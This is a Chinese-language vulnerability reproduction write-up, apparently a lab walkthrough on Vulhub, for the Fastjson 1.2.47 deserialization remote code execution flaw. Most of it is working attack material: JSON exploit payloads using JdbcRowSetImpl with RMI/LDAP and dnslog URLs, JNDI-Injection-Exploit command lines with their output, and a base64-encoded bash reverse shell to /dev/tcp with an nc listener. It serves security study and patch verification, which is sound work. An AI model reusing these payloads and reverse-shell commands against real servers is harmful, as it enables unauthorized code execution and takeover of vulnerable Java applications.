【漏洞复现】Fastjson_1.2.47_rce

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1.1、漏洞描述

Fastjson是阿里巴巴公司开源的一款json解析器，其性能优越，被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令

1.2、漏洞等级

高危

1.3、影响版本

1.2.47

1.4、漏洞复现

1、基础环境

Path：Vulhub/fastjson/1.2.47-rce

启动测试环境：

sudo docker-compose up -d

访问http://your-ip:8090/即可看到一个json对象被返回

将content-type修改为application/json后可向其POST新的JSON对象，后端会利用fastjson进行解析

发送测试数据：

{"name":"hello", "age":20}

2、漏洞检测

使用BurpSuite扩展插件FastjsonScan进行漏洞检测

POC：

{
    "axin":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "is":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://s0tgwxk05ll1qvmz0lwr27u0prvhj6.oastify.com/aaa",
        "autoCommit":true
    }
}

使用dnslog测试

3、漏洞验证

利用JNDI-Injection-Exploit工具开启RMI服务器

在/tmp目录下创建hello文件

┌──(kali㉿kali)-[~/tools/JNDI-Injection-Exploit/target]
└─$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/demo" -A "192.168.80.141"
[ADDRESS] >> 192.168.80.141
[COMMAND] >> touch /tmp/demo
----------------------------JNDI Links----------------------------
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.80.141:1099/fuk3fq
ldap://192.168.80.141:1389/fuk3fq
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.80.141:1099/slgipa
ldap://192.168.80.141:1389/slgipa
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.80.141:1099/zsjp7n

----------------------------Server Log----------------------------
2023-09-08 03:53:56 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2023-09-08 03:53:56 [RMISERVER]  >> Listening on 0.0.0.0:1099
2023-09-08 03:53:57 [LDAPSERVER] >> Listening on 0.0.0.0:1389

发送POC到FastJson服务器，通过RMI协议远程加载恶意类

{
    "axin":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "is":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.80.141:1099/slgipa",
        "autoCommit":true
    }
}

进入docker容器内验证：

1.5、深度利用

1、反弹Shell

构造反弹shell，进行base64编码

bash -i >& /dev/tcp/192.168.80.141/1234 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgwLjE0MS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

监听1234端口

nc -lvp 1234

开启RMI服务

┌──(kali㉿kali)-[~/tools/JNDI-Injection-Exploit/target]
└─$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgwLjE0MS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.80.141"
[ADDRESS] >> 192.168.80.141
[COMMAND] >> bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgwLjE0MS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
----------------------------JNDI Links----------------------------
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.80.141:1099/fd5cfs
ldap://192.168.80.141:1389/fd5cfs
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.80.141:1099/flbdik
ldap://192.168.80.141:1389/flbdik
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.80.141:1099/m8yxp6

----------------------------Server Log----------------------------
2023-09-08 04:02:36 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2023-09-08 04:02:36 [RMISERVER]  >> Listening on 0.0.0.0:1099
2023-09-08 04:02:36 [LDAPSERVER] >> Listening on 0.0.0.0:1389

POC:

{
    "axin":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "is":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://192.168.80.141:1389/fd5cfs",
        "autoCommit":true
    }
}

获得Shell

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